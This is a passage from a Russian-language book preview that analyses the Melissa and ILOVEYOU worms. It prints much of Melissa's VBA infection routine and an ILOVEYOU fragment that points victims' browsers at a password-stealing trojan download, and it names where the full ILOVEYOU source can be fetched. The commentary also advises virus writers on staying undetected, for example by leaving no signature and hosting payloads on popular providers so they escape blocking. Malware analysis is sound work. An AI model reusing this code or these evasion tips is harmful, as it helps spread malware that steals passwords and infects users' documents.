Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> “Melissa” Then
If ADCL > 0 Then
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = “Melissa”
DoAD = True
End If
If NTI1.Name <> “Melissa” Then
If NTCL > 0 Then
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = “Melissa”
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
Затем Melissa проверяет, инфицирован ли активный документ и его шаблон (normal.dot); в случае положительного результата проверки происходит переход к коду завершения (GoTo CYA).Если же результат отрицательный, червь заражает эти файлы:
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = “”
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub
Document_Close()”)
Do While ADI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = “”
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub
Document_Open()”)
Do While NTI1.CodeModule.Lines(BGN, 1) <> “”
ToInfect.CodeModule.InsertLines BGN,
NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
Легко понять, как червь Melissa влияет на функцию Document_Open() активного документа. Также видно, что изменения внесены и в функцию шаблона Document_Close(). Это означает, что процесс сохранения или закрытия любого документа приведет к активизации червя.
CYA:
If NTCL <> 0 And ADCL = 0 And
(InStr(1, ActiveDocument.Name, “Document”) = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, “Document”) <> False)
Then ActiveDocument.Saved = True
End If
Действие червя заканчивается сохранением активного документа. При этом проверяется, была ли запомнена копия червя.
‘WORD/Melissa written by Kwyjibo
‘ Works in both Word 2000 and Word 97
‘ Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 <���—> Word 2000 ... it”s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText “ Twentytwo
points, plus triple-word-score, plus fifty points for
using all my letters. Game’s over. I’m outta here.”
End Sub
Затем происходит вещь, которая выглядит откровенно глупо. Появляются комментарии автора червя. Почему это глупо? Потому что по этой строке можно осуществлять поиск. Если антивирусная программа увидит подобное в присоединенном к сообщению фрагменте, с большой вероятностью червь Melissa будет распознан. Несмотря на это, многие создатели вирусов оставляют свои автографы внутри кода, невзирая на то что подобный ход упрощает обнаружение их детища.
Заключительная часть кода также представляет собой не очень умный ход. Если оказывается, что на момент выполнения этого куска текущее число месяца равно текущей минуте, вирус выводит на экран сообщение. Не стоит делать подобных вещей, если вы хотите остаться незамеченными, даже с учетом того, что такие события-триггеры происходят редко.
К сожалению, код вируса I love you имеет большой объем, поэтому мы не будем приводить полный сценарий его работы. Впрочем, вас это не должно расстраивать, так как полный код можно загрузить со страницы www.packetstormsecurity.org/viral-db/love-letter-source.txt.
Интересной особенностью вируса I love you является его способность случайным образом заменять заданную в браузере пользователя домашнюю страницу одним из четырех адресов, указанных в следующем фрагменте кода:
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\
Start Page”,http://www.skyinet.net/~young1s/
HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbv
YT/WIN-BUGSFIX.exe
elseif num = 2 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\
Start Page”,http://www.skyinet.net/~angelcat/
skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbm
KLJKjhkqj4w/WIN-BUGSFIX.exe
elseif num = 3 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\
Start Page”,http://www.skyinet.net/~koichi/
jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WINBUGSFIX.
exe
elseif num = 4 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\
Start Page”,http://www.skyinet.net/~chu/
sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjas
fdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WINBUGSFIX.
exe
end if
end if
Программа WIN-BUGSFIX.exe является Троянским конем, предназначенным для похищения чужих паролей. А все адреса находятся на сайте www.skyinet.net. Это могло помешать быстрому распространению червя, так как многие администраторы просто закрыли доступ на указанный сайт. Это, конечно, очень неприятно для www.skyinet.net, однако позволяет администраторам контролировать ситуацию. Но представим, что создатель вируса использует ссылку на одного из популярных провайдеров, создав, к примеру, пользовательскую страницу на aol.com, yahoo.com или hotmail.com. Будет ли администратор и в этом случае блокировать доступ? Скорее всего, нет.
Кроме того, если бы создатели сайта skyinet.net были умнее, они бы заменили Троянскую программу WIN-BUGSFIX.exe приложением для борьбы с I love you, которое действительно уничтожает этого червя. Таким образом, они привели бы в действие Троянского коня для Троянского коня.
Читать дальше
Конец ознакомительного отрывка
Купить книгу